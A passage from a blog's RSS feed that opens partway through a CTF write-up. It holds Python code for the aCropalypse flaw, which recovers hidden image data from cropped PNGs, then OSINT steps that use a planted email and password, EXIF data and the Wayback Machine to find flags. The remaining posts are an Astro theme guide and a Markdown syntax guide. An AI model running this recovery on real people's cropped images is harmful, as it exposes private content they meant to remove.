    def pack_png_chunk(self, stream, name, body):
        stream.write(len(body).to_bytes(4, &quot;big&quot;))
        stream.write(name)
        stream.write(body)
        crc = zlib.crc32(body, zlib.crc32(name))
        stream.write(crc.to_bytes(4, &quot;big&quot;))
        
    def reconstruct_image(self, cropped_image_file, img_width, img_height, rgb_alpha):
        PNG_MAGIC = b&quot;\x89PNG\r\n\x1a\n&quot;

        orig_width = img_width
        orig_height = img_height

        with open(cropped_image_file, &quot;rb&quot;) as f_in:
            magic = f_in.read(len(PNG_MAGIC))
            assert magic == PNG_MAGIC

            # find end of cropped PNG
            while True:
                ctype, body = self.parse_png_chunk(f_in)
                if ctype == b&quot;IEND&quot;:
                    break

            # grab the trailing data
            trailer = f_in.read()
            
            print(f&quot;Found {len(trailer)} trailing bytes!&quot;)

            # find the start of the next idat chunk
            try:
                next_idat = trailer.index(b&quot;IDAT&quot;, 12)
            except ValueError:
                raise Exception(&quot;No trailing IDATs found!&quot;)

            # skip first 12 bytes in case they were part of a chunk boundary
            idat = trailer[12:next_idat-8] # last 8 bytes are crc32, next chunk len

            stream = io.BytesIO(trailer[next_idat-4:])

            while True:
                ctype, body = self.parse_png_chunk(stream)
                if ctype == b&quot;IDAT&quot;:
                    idat += body
                elif ctype == b&quot;IEND&quot;:
                    break
                else:
                    raise Exception(&quot;Unexpected chunk type: &quot; + repr(ctype))

            idat = idat[:-4] # slice off the adler32

            print(f&quot;Extracted {len(idat)} bytes of idat!&quot;)

            print(&quot;Building bitstream...&quot;)
            bitstream = []
            for byte in idat:
                for bit in range(8):
                    bitstream.append((byte &gt;&gt; bit) &amp;#x26; 1)

            # add some padding so we don&apos;t lose any bits
            for _ in range(7):
                bitstream.append(0)

            print(&quot;Reconstructing bit-shifted bytestreams...&quot;)
            byte_offsets = []
            for i in range(8):
                shifted_bytestream = []
                for j in range(i, len(bitstream)-7, 8):
                    val = 0
                    for k in range(8):
                        val |= bitstream[j+k] &amp;#x3C;&amp;#x3C; k
                    shifted_bytestream.append(val)
                byte_offsets.append(bytes(shifted_bytestream))

            # bit wrangling sanity checks
            assert(byte_offsets[0] == idat)
            assert(byte_offsets[1] != idat)

            print(&quot;Scanning for viable parses...&quot;)

            # prefix the stream with 32k bytes so backrefs can work
            prefix_length = 0x8000
            prefix = b&quot;\x00&quot; + (prefix_length).to_bytes(2, &quot;little&quot;) + (prefix_length ^ 0xffff).to_bytes(2, &quot;little&quot;) + b&quot;\x00&quot; * prefix_length

            for i in range(len(idat)):
                truncated = byte_offsets[i%8][i//8:]

                # only bother looking if it&apos;s (maybe) the start of a non-final adaptive huffman coded block
                if truncated[0]&amp;#x26;7 != 0b100:
                    continue

                d = zlib.decompressobj(wbits=-15)
                try:
                    decompressed = d.decompress(prefix+truncated) + d.flush(zlib.Z_FINISH)
                    decompressed = decompressed[prefix_length:] # remove leading padding
                    if d.eof and d.unused_data in [b&quot;&quot;, b&quot;\x00&quot;]: # there might be a null byte if we added too many padding bits
                        print(f&quot;Found viable parse at bit offset {i}!&quot;)
                        # XXX: maybe there could be false positives and we should keep looking?
                        break
                    else:
                        print(f&quot;Parsed until the end of a zlib stream, but there was still {len(d.unused_data)} bytes of remaining data. Skipping.&quot;)
                except zlib.error as e: # this will happen almost every time
                    pass
            else:
                print(&quot;Failed to find viable parse!&quot;)
                raise Exception(&quot;Failed to find viable parse!&quot;)

            print(&quot;Generating output PNG...&quot;)

            output_path = os.path.join(tempfile.gettempdir(), &apos;restored.png&apos;)
            with open(output_path, &quot;wb&quot;) as out:
                out.write(PNG_MAGIC)

                ihdr = b&quot;&quot;
                ihdr += orig_width.to_bytes(4, &quot;big&quot;)
                ihdr += orig_height.to_bytes(4, &quot;big&quot;)
                ihdr += (8).to_bytes(1, &quot;big&quot;) # bitdepth
                if rgb_alpha:
                    ihdr += (6).to_bytes(1, &quot;big&quot;) # true colour with alpha
                else:
                    ihdr += (2).to_bytes(1, &quot;big&quot;) # true colour
                ihdr += (0).to_bytes(1, &quot;big&quot;) # compression method
                ihdr += (0).to_bytes(1, &quot;big&quot;) # filter method
                ihdr += (0).to_bytes(1, &quot;big&quot;) # interlace method

                self.pack_png_chunk(out, b&quot;IHDR&quot;, ihdr)

                # fill missing data with solid magenta
                if rgb_alpha:
                    reconstructed_idat = bytearray((b&quot;\x00&quot; + b&quot;\xff\x00\xff\xff&quot; * orig_width) * orig_height)
                else:
                    reconstructed_idat = bytearray((b&quot;\x00&quot; + b&quot;\xff\x00\xff&quot; * orig_width) * orig_height)

                # paste in the data we decompressed
                reconstructed_idat[-len(decompressed):] = decompressed

                self.pack_png_chunk(out, b&quot;IDAT&quot;, zlib.compress(reconstructed_idat))
                self.pack_png_chunk(out, b&quot;IEND&quot;, b&quot;&quot;)

            print(&quot;Done!&quot;)
            return output_path

# Create an instance of the Acropalypse class
acropalypse = Acropalypse()

# Reconstruct the image using the correct resolution of 1920x1080
output_image_path = acropalypse.reconstruct_image(&apos;cm.png&apos;, 1920, 1080, True) // change to your input image file name

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;References: https://youtu.be/R866SnJoKQg?si=rby5gJoYa2s9zR4N&lt;/p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Retrieve the recovered full image from the specified output directory: /tmp folder
&lt;img src=&quot;https://gr1d-init.github.io/_astro/restored.D8Nqn219_BhaT1.webp&quot; alt=&quot;&quot;&gt;&lt;/li&gt;
&lt;li&gt;Login to flickr with the credentials obtained from the recovered image&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;cybersteal6969@gmail.com
sh8UPt-S&quot;Cp-6i+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/login.C8rI4CJP_Z2pUobN.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
5. Browse through cybersteal6969&apos;s profile, we found two videos, flag1 and flag2&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/cyberstealprofiile.Ci2fFgDc_19weuK.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
6. From the video, we analyse the morse code, given &quot;NO FLAG FOR YOU TRY SOMETHING ELSE&quot;
Morse Code Analyser: https://morsecode.world/international/decoder/audio-decoder-adaptive.html
7. From the videos, we know that, it was posted by info stealer6969, shared to cybersteal6969, two of them are communicating&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/infostealerposted.Bw6rEp4w_156IcI.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
8. Enter info stealer6969 profile, we found another video, named flag, analyse the morse code, we get &quot;GOODJOBG3TT1NGH3R3&quot;, this is the first decoy flag&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/infostealervid.DXNwlSn0_ZtBvbG.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
9. Keep browsing, we found that info stealer6969 uploaded bunch of pictures&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/infopic.BM0iuDxh_21dxf8.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
10. These pictures containing secret info in their metadata
11. Using exiftool, we found that cat.jpg directs us to https://cyberxstupid.blogspot.com/2024/12/blog-post.html, shown at comment section&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/cat.BAUEqhp1_Zs5cIe.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/exifcat.DhzIJ5PR_1H0x1d.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
12. Randomly clicking through the site, we found the second decoy flag CyberX{c4t_m0us3_g4m3_34sy}&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/first.D42fyZ31_ZdQxN6.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
13. Here we need to use Wayback Mahcine, archive.org, to track the past version of the site.&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/wayback.CMN4U3K5_Z1Ypaov.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
14. Under the same link but in past version, we obtain the final flag CyberX{c4t_m0us3_pl4y_m4d3_34s13r}&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/waybackflag.C94webAU_1n6iC8.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/cyberx.B36SDQ5v.png"/><enclosure url="/_astro/cyberx.B36SDQ5v.png"/></item><item><title>Personalized Customization Guide</title><link>https://gr1d-init.github.io/blog/customize</link><guid isPermaLink="true">https://gr1d-init.github.io/blog/customize</guid><description>astro-theme-pure Personalized Customization Guide</description><pubDate>Sat, 27 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Site Configuration&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/cworld1/astro-theme-pure&quot;&gt;astro-theme-pure&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Customizing this theme requires adjusting a significant amount of source code.&lt;/p&gt;
&lt;p&gt;We have made efforts to centralize the configuration options in the &lt;code&gt;src/site.config.ts&lt;/code&gt; file for user convenience and have integrated a variety of common social media/tools icons. If you want to add new icons, you will need to modify the source code yourself.&lt;/p&gt;
&lt;p&gt;You can globally search for the following keywords to find the text that needs to be replaced:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Lorem ipsum&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;astro-theme-pure&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cworld&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Next, we will introduce each aspect in detail.&lt;/p&gt;
&lt;h3&gt;Configuration Files&lt;/h3&gt;
&lt;p&gt;See &lt;a href=&quot;/docs/integrations/configuration&quot;&gt;Configuration Files&lt;/a&gt; for details.&lt;/p&gt;
&lt;h4&gt;Waline Comment System&lt;/h4&gt;
&lt;p&gt;See &lt;a href=&quot;/docs/integrations/comment&quot;&gt;Waline Comment System&lt;/a&gt; for details.&lt;/p&gt;
&lt;h4&gt;Footer&lt;/h4&gt;
&lt;p&gt;Currently supported social media include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;coolapk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;telegram&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;github&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bilibili&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;twitter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;zhihu&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;steam&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;netease_music&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to add new social media, you need to modify the following files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;src/types.ts&lt;/code&gt;: Add a new &lt;code&gt;SocialLink.name&lt;/code&gt; enum value and the icon mapping relationship for &lt;code&gt;SocialMediaIconId&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;public/icons/social.svg&lt;/code&gt;: Follow the existing format and add a new icon as a symbol&lt;/p&gt;
&lt;p&gt;It is recommended to find social media icons on the following websites to maintain consistency:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://remixicon.com/&quot;&gt;remixicon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mingcute.com/&quot;&gt;mingcute&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Other Files to Replace&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;public/favicon&lt;/code&gt;: The site&apos;s favicon. You can generate a favicon at &lt;a href=&quot;https://favicon.io/favicon-converter/&quot;&gt;favicon.io&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;public/images/social-card.png&lt;/code&gt;: The site&apos;s social card&lt;/li&gt;
&lt;li&gt;&lt;code&gt;src/assets/&lt;/code&gt;: This directory contains client-rendered avatars, sponsorship QR codes, and other images. Please replace them with your own images&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Other Pages&lt;/h2&gt;
&lt;h3&gt;About&lt;/h3&gt;
&lt;p&gt;Currently supported icons can be found in the &lt;code&gt;src/icons&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;If you want to add new Tools icons, you need to add a new icon in the &lt;code&gt;src/icons&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;It is recommended to find new icons on the following websites to maintain consistency:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://icon-sets.iconify.design/&quot;&gt;iconify&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://icones.js.org/&quot;&gt;icones&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Deployment Mode&lt;/h2&gt;
&lt;p&gt;See &lt;a href=&quot;/docs/deployment&quot;&gt;Deployment&lt;/a&gt; for details.&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.H3t_xmcX.jpg"/><enclosure url="/_astro/thumbnail.H3t_xmcX.jpg"/></item><item><title>Markdown Syntax Support</title><link>https://gr1d-init.github.io/blog/markdown</link><guid isPermaLink="true">https://gr1d-init.github.io/blog/markdown</guid><description>Markdown is a lightweight markup language.</description><pubDate>Fri, 26 Jul 2024 08:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Basic Syntax&lt;/h2&gt;
&lt;p&gt;Markdown is a lightweight and easy-to-use syntax for styling your writing.&lt;/p&gt;
&lt;h3&gt;Headers&lt;/h3&gt;
&lt;p&gt;When the content of the article is extensive, you can use headers to segment:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;# Header 1

## Header 2

## Large Header

### Small Header
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Header previews would disrupt the structure of the article, so they are not displayed here.&lt;/p&gt;
&lt;h3&gt;Bold and Italics&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;_Italic text_ and **Bold text**, together will be **_Bold Italic text_**
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Italic text&lt;/em&gt; and &lt;strong&gt;Bold text&lt;/strong&gt;, together will be &lt;strong&gt;&lt;em&gt;Bold Italic text&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Links&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;Text link [Link Name](http://link-url)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;p&gt;Text link &lt;a href=&quot;http://link-url&quot;&gt;Link Name&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Inline Code&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;This is an `inline code`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;p&gt;This is an &lt;code&gt;inline code&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Code Blocks&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;```js
// calculate fibonacci
function fibonacci(n) {
  if (n &amp;#x3C;= 1) return 1
  const result = fibonacci(n - 1) + fibonacci(n - 2) // [\!code --]
  return fibonacci(n - 1) + fibonacci(n - 2) // [\!code ++]
}
```
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// calculate fibonacci
function fibonacci(n) {
  if (n &amp;#x3C;= 1) return 1
  const result = fibonacci(n - 1) + fibonacci(n - 2) // [!code --]
  return fibonacci(n - 1) + fibonacci(n - 2) // [!code ++]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Currently using shiki as the code highlighting plugin. For supported languages, refer to &lt;a href=&quot;https://shiki.matsu.io/languages.html&quot;&gt;Shiki: Languages&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Inline Formula&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;This is an inline formula $e^{i\pi} + 1 = 0$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;p&gt;This is an inline formula $e^{i\pi} + 1 = 0$&lt;/p&gt;
&lt;h3&gt;Formula Blocks&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;$$
\hat{f}(\xi) = \int_{-\infty}^{\infty} f(x) e^{-2\pi i x \xi} \, dx
$$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;p&gt;$$
\hat{f}(\xi) = \int_{-\infty}^{\infty} f(x) e^{-2\pi i x \xi} , dx
$$&lt;/p&gt;
&lt;p&gt;Currently using KaTeX as the math formula plugin. For supported syntax, refer to &lt;a href=&quot;https://katex.org/docs/supported.html&quot;&gt;KaTeX Supported Functions&lt;/a&gt;.&lt;/p&gt;
&lt;h4&gt;Images&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;![CWorld](https://cravatar.cn/avatar/1ffe42aa45a6b1444a786b1f32dfa8aa?s=200)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cravatar.cn/avatar/1ffe42aa45a6b1444a786b1f32dfa8aa?s=200&quot; alt=&quot;CWorld&quot;&gt;&lt;/p&gt;
&lt;h4&gt;Strikethrough&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;~~Strikethrough~~
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;p&gt;~~Strikethrough~~&lt;/p&gt;
&lt;h3&gt;Lists&lt;/h3&gt;
&lt;p&gt;Regular unordered list&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;- 1
- 2
- 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1&lt;/li&gt;
&lt;li&gt;2&lt;/li&gt;
&lt;li&gt;3&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Regular ordered list&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;1. GPT-4
2. Claude Opus
3. LLaMa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;GPT-4&lt;/li&gt;
&lt;li&gt;Claude Opus&lt;/li&gt;
&lt;li&gt;LLaMa&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You can continue to nest syntax within lists.&lt;/p&gt;
&lt;h3&gt;Blockquotes&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;&gt; Gunshot, thunder, sword rise. A scene of flowers and blood.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Gunshot, thunder, sword rise. A scene of flowers and blood.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You can continue to nest syntax within blockquotes.&lt;/p&gt;
&lt;h3&gt;Line Breaks&lt;/h3&gt;
&lt;p&gt;Markdown needs a blank line to separate paragraphs.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;If you don&apos;t leave a blank line
it will be in one paragraph

First paragraph

Second paragraph
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;p&gt;If you don&apos;t leave a blank line
it will be in one paragraph&lt;/p&gt;
&lt;p&gt;First paragraph&lt;/p&gt;
&lt;p&gt;Second paragraph&lt;/p&gt;
&lt;h3&gt;Separators&lt;/h3&gt;
&lt;p&gt;If you have the habit of writing separators, you can start a new line and enter three dashes &lt;code&gt;---&lt;/code&gt; or asterisks &lt;code&gt;***&lt;/code&gt;. Leave a blank line before and after when there are paragraphs:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Advanced Techniques&lt;/h2&gt;
&lt;h3&gt;Inline HTML Elements&lt;/h3&gt;
&lt;p&gt;Currently, only some inline HTML elements are supported, including &lt;code&gt;&amp;#x3C;kdb&gt; &amp;#x3C;b&gt; &amp;#x3C;i&gt; &amp;#x3C;em&gt; &amp;#x3C;sup&gt; &amp;#x3C;sub&gt; &amp;#x3C;br&gt;&lt;/code&gt;, such as&lt;/p&gt;
&lt;h4&gt;Key Display&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;Use &amp;#x3C;kbd&gt;Ctrl&amp;#x3C;/kbd&gt; + &amp;#x3C;kbd&gt;Alt&amp;#x3C;/kbd&gt; + &amp;#x3C;kbd&gt;Del&amp;#x3C;/kbd&gt; to reboot the computer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;p&gt;Use Ctrl + Alt + Del to reboot the computer&lt;/p&gt;
&lt;h4&gt;Bold Italics&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;&amp;#x3C;b&gt; Markdown also applies here, such as _bold_ &amp;#x3C;/b&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;p&gt; Markdown also applies here, such as &lt;em&gt;bold&lt;/em&gt; &lt;/p&gt;
&lt;h3&gt;Other HTML Writing&lt;/h3&gt;
&lt;h4&gt;Foldable Blocks&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;&amp;#x3C;details&gt;&amp;#x3C;summary&gt;Click to expand&amp;#x3C;/summary&gt;It is hidden&amp;#x3C;/details&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;h3&gt;Tables&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;| Header1  | Header2  |
| -------- | -------- |
| Content1 | Content2 |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;p&gt;| Header1  | Header2  |
| -------- | -------- |
| Content1 | Content2 |&lt;/p&gt;
&lt;h3&gt;Footnotes&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;Use [^footnote] to add a footnote at the point of reference.

Then, at the end of the document, add the content of the footnote (it will be rendered at the end of the article by default).

[^footnote]: Here is the content of the footnote
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;p&gt;Use [^footnote] to add a footnote at the point of reference.&lt;/p&gt;
&lt;p&gt;Then, at the end of the document, add the content of the footnote (it will be rendered at the end of the article by default).&lt;/p&gt;
&lt;p&gt;[^footnote]: Here is the content of the footnote&lt;/p&gt;
&lt;h3&gt;To-Do Lists&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;- [ ] Incomplete task
- [x] Completed task
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Incomplete task&lt;/li&gt;
&lt;li&gt;[x] Completed task&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Symbol Escaping&lt;/h3&gt;
&lt;p&gt;If you need to use markdown symbols like _ # * in your description but don&apos;t want them to be escaped, you can add a backslash before these symbols, such as &lt;code&gt;\_&lt;/code&gt; &lt;code&gt;\#&lt;/code&gt; &lt;code&gt;\*&lt;/code&gt; to avoid it.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;\_Don&apos;t want the text here to be italic\_

\*\*Don&apos;t want the text here to be bold\*\*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Preview:&lt;/p&gt;
&lt;p&gt;_Don&apos;t want the text here to be italic_&lt;/p&gt;
&lt;p&gt;**Don&apos;t want the text here to be bold**&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Embedding Astro Components&lt;/h2&gt;
&lt;p&gt;See &lt;a href=&quot;/docs/integrations/components&quot;&gt;User Components&lt;/a&gt; and &lt;a href=&quot;/docs/integrations/advanced&quot;&gt;Advanced Components&lt;/a&gt; for details.&lt;/p&gt;</content:encoded><h:img src="/_astro/thumbnail.HAXFr_hw.jpg"/><enclosure url="/_astro/thumbnail.HAXFr_hw.jpg"/></item></channel></rss>